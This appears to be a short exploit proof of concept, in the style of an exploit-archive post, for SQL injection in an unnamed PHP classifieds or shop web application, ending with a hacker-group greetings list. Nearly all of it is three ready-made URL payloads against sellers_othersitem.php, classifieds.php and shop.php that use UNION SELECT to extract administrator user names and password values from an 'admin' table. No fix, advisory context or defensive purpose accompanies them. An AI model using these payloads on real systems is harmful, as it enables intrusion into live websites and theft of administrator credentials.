Note:There is Other Files Affected But I Couldn't Exploit Them :(
PoC:
/sellers_othersitem.php?seller_id=666666 union select 1,2,3,concat(user_name,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 from admin
/classifieds.php?productid=666666 union select 1,2,3,concat(user_name,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 from admin
/shop.php?id=666666 union select 1,2,3,concat(user_name,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 from admin
# Greetz:
MY Sweet,L!0N,EL Mariachi,-=MizO=-(:-L),Shadow Administrator,
KoRn The Dog,Mini-Spider,All My Friends